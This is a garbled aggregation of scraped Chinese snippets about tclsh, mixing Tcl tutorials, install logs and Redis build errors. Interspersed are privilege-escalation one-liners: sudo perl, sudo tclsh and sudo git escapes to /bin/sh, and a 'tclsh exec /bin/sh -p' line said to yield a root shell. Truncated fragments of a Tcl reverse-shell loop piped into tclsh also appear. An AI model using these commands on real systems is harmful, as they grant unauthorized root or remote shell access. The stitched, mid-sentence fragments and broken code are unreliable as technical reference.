如果想写两句 tcl 代码做个测试,当然可以新建一个脚本文件,不过比较懒的做法就是打开 tclsh 直接输入想要测试的代码。 然而 tclsh 的自带的行编辑功能实在太差了: 光标不能随意移动。。。 /configure --prefix=$HOME/app 更改 tclsh 的启动方式 用 rlwrap 来启动 tclsh 的基本命令如下。 rlwrap -c tclsh 这样启动的 tclsh 就具有基本的行编辑功能了。 rlwrap 的 filters 功能 rlwrap 还支持多词关键字补全。需要先准备一个filter文件(如 . /tclsh_filter),里面用特定的格式列出 tclsh 的关键字。然后用下面的方式启动。 rlwrap -z . /tclsh_filter tclsh 这样启动的 tclsh 就具备比较高级的关键字自动补全功能了。
. ===> Found Tclsh in: /usr/bin/tclsh8.4 ==> WARNING: no Tcl header files found! local/man USE_TCL : TCL_VER : 8.4 TCL_INC : LIBTCL : -ltcl8.4 -lm -lpthread TCLSH : /usr/bin/tclsh8.4 (to modify try configure --help) ------------------------------------
update-alternatives: using /usr/bin/tclsh8.5 to provide /usr/bin/tclsh (tclsh) in auto mode. update-alternatives: using /usr/bin/tclsh-default to provide /usr/bin/tclsh (tclsh) in auto mode.
/usr/local/opt/tcl-tk/bin/tclsh puts "Hello, world!" 我是不是不小心放成了 Ruby 代码?不,绝对没有。#! /usr/local/opt/tcl-tk/bin/tclsh set who "world" puts "Hello, $who!" 变量都是字符串。内插双引号字符串。 /usr/local/opt/tcl-tk/bin/tclsh set x 2 set y "4" set z [expr $x+$y] puts [string toupper Hello] puts /usr/local/opt/tcl-tk/bin/tclsh proc fib n { if { $n <= 2 } { return 1 } else { return [ -command { exit } pack .hello 这是它的样子: 请注意可执行文件从 更改tclsh为wish。 这与浏览器的工作方式非常不同。
make install-private-headers 现在创建几个必要的软链接: ln -sv tclsh8.6 /tools/bin/tclsh 安装完成后清理工作: cd ../.. rm -rf
import os; os.execl("/bin/sh","sh","-c","reset; exec sh")' perl 环境 sudo perl -e 'exec "/bin/sh";' tclsh 脚本语言 sudo tclsh exec /bin/sh <@stdin > @stdout 2>@stderr git 提权 开源封闭的程序管理系统 sudo git -p help config
easy_install redis-benchmark ssserver cavm_live_upgrade.sh easy_install-3.5 redis-check-aof tclsh8.6
make install-private-headers 创建一个必要的符号链接: ln -sfv tclsh8.6 /usr/bin/tclsh 最后,重命名一个与 Perl man 页面文件名冲突的
usr/bin/tclsh proc Factorial {n} { if {$n<=1} { return 1 } return [expr $n*[Factorial
cat命令输出文档内容来进行检查) 需要先解决连通性问题,在交换机上执行以下命令,让交换机可以获取到和tftp服务器同网段的地址 出现如下日志的时候说明交换机已经获取到了地址 在交换机上执行命令:tclsh
GITGUI_VERSION = 0.19.0.2.g3decb8e * new locations or Tcl/Tk interpreter GEN git-gui INDEX lib/ * tclsh
init.d/redis-server $ /etc/init.d/redis-server /etc/redis/redis.conf 如果如下报错,则安装tcl8.5(参考附资料2) which: no tclsh8.5 3.3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/geffzhang/bin) You need 'tclsh8.5
make test cd src && make test make[1]: Entering directory `/usr/local/src/redis-stable/src' which: no tclsh8.5 3.3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/geffzhang/bin) You need 'tclsh8.5
/user/bin/tclsh" window:安装active tcl并双击wish.exe 置换 TCL置换分为三种,变量置换, 变量置换 用表示变量置换,后为变量名,将变量置换为它的值 ?
ActivePerl,用于编译OpenSSL Mingw,在官网下载minimum installer安装即可 nasm,汇编代码运行环境,官网下载安装即可 ActiveState ActiveTcl,需要用到tclsh
38、tclsh 输入下面的命令进行提权: tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr ? 提权成功,得到了root shell。
[catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh # tcp # Use Socat $ socat
[catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh # tcp 17 18# Use Socat
比较典型的是awk和tclsh。 [catch {set r [eval s r }; flush s; }; close s;' | tclsh ? (2) 网络是短连接,命令执行是长shell模式 ?
TCL 环境:Linux 或带有 WinGW 的 Windows 平台 代码: #命令行交互方式 D:\>tclsh % puts "Hello,World!" D:\>tclsh HelloWorld.tcl Hello,World! 说明: 1. 文件名后缀 .tcl 编译器为 tclsh(命令方式显示)或 wish(GUI方式显示)。 2.